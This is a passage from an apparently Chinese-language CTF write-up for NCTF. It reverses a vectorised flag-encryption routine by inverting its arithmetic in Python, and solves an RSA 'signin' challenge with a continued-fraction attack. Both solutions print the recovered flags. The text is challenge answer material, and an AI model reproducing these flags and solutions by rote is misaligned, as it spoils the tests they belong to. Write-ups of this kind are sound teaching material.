v48 = *v299;                  // [0x20,0x22,0x23,0x24]
v447 = *v295; // [flag0,flag1,flag2,flag3]
v446 = v48;
v445 = vmulq_s32(v447, v48);
*v295 = v445;
v49 = *v300; // [0x37,0x38,0x39,0x3a]
v450 = *v295;
v449 = v49;
v448 = vsubq_s32(v450, vnegq_s32(v49));
*v295 = v448; // enc0
v50 = *v299; // [0x20,0x22,0x23,0x24]
v468 = *v296; // [flag4,flag5,flag6,flag7]
v467 = v50;
v466 = vmulq_s32(v468, v50);
*v296 = v466;
v51 = *v300; // [0x37,0x38,0x39,0x3a]
v465 = *v296;
v464 = v51;
v463 = vsubq_s32(v465, vnegq_s32(v51));
*v296 = v463; // enc1
v52 = *v301; // [0x30,0x31,0x32,0x33]
v462 = *v297; // [flag8,flag9,flag10,flag11]
v461 = v52;
v460 = vmulq_s32(v462, v52);
*v297 = v460;
v53 = *v302; // [0x50,0x52,0x53,0x54]
v459 = *v297;
v458 = v53;
v457 = vsubq_s32(v459, vnegq_s32(v53));
*v297 = v457; // enc2
v54 = *v299; // [0x20,0x22,0x23,0x24]
v456 = *v298; // [flag12,flag13,flag14,flag15]
v455 = v54;
v454 = vmulq_s32(v456, v54);
*v298 = v454;
v55 = *v300; // [0x37,0x38,0x39,0x3a]
v453 = *v298;
v452 = v55;
v451 = vnegq_s32(vsubq_s32(vnegq_s32(v55), v453));// v451=-((-v300)-v453) v453=v451-v300
*v298 = v451; // enc3

一开始尝试爆破,然后我发现我傻了,直接求逆不就行了?然后一把梭

enc=[    0x00000CD7, 0x00000698, 0x00000D7C, 0x000006FA, 0x00000CB7, 0x000007CA, 0x0000079B, 0x000007D2,
0x00000950, 0x00000AD9, 0x00000ADF, 0x000014A6, 0x00000CF7, 0x00000720, 0x00000732,0x000007F6]
v299=[0x20,0x22,0x23,0x24]
v300=[0x37,0x38,0x39,0x3a]
v301=[0x30,0x31,0x32,0x33]
v302=[0x50,0x52,0x53,0x54]
def mul(a,b):
c=[]
for i in range(4):
c.append(a[i] * b[i])
return c
#set0
c=[]
e=enc[0:4]
for i in range(4):
c.append(e[i]-v300[i])
for i in range(4):
print(chr(c[i]//v299[i]),end='')

#set1
c=[]
e=enc[4:8]
for i in range(4):
c.append(e[i]-v300[i])
for i in range(4):
print(chr(c[i]//v299[i]),end='')

#set2
c=[]
e=enc[8:12]
for i in range(4):
c.append(e[i]-v302[i])
for i in range(4):
print(chr(c[i]//v301[i]),end='')

#set3
c=[]
e=enc[12:16]
for i in range(4):
c.append(e[i]-v300[i])
for i in range(4):
print(chr(c[i]//v299[i]),end='')
#e0a0d966076ff437

e0a0d966076ff43758af2715

Crypto

signin

对h/k连分数展开可以求到p

def transform(x,y):	   
res=[]
while y:
res.append(x//y)
x,y=y,x%y
return res

def continued_fraction(sub_res):
numerator,denominator=1,0
for i in sub_res[::-1]:
denominator,numerator=numerator,i*numerator+denominator
return denominator,numerator

def sub_fraction(x,y):
res=transform(x,y)
res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res)))))
return res
k=94541588860584895585135152950569493777168309607384495730944110393788712443252059813470464503558980161423182930915955597122997950103392684040352673659694990925903156093591505153081718027169554019948988048641061593654540898258994671824807628660558123733006209479395447337793897155523508261277918178756662618785
n=780382574657056148524126341547161694121139907409040429176771134165303790043856598163799273195157260505524054034596118923390755532760928964966379457317135940979046201401066257918457068510403020146410174895470232276387032511651496790519359024937958635283547294676457588680828221680705802054780628993173199987362419589945445821005688218540209709368995166794607635504501281131700210990592718388166388793182269128127850804650083811982799377308916540691843310867205397
c=601133470721804838247833449664753362221136965650852411177773274117379671405966812018926891137093789704412080113310175506684194683631033003847585245560967863306852502110832136044837625931830243428075035781445021691969145959052459661597331192880689893369292311652372449853270889898705765869674961705116875378568712306021536838123003111819172078652012105725060809972222290408551883774305223612755026614701916201374200602892717051698568751566665976546137674450533774
h=2**1024
for p,q in sub_fraction(h,k):
if n%p==0:
print(p)
if n%q==0:
print(q)
p=9591034708161364221769733163551836281062083244512519384396165987809544507968391606587728397659016542948096617311787604058178460710869231247971978002127911
phi=p-1
from gmpy2 import *
from Crypto.Util.number import *
print(long_to_bytes(pow(c,invert(65537,phi),p)))
#nctf{238fa78a-5e61-4dc6-8faf-7e2e30e02286}
作者

n03tAck

发布于

2021-11-29

更新于

2021-11-29

许可协议


:D 一言句子获取中...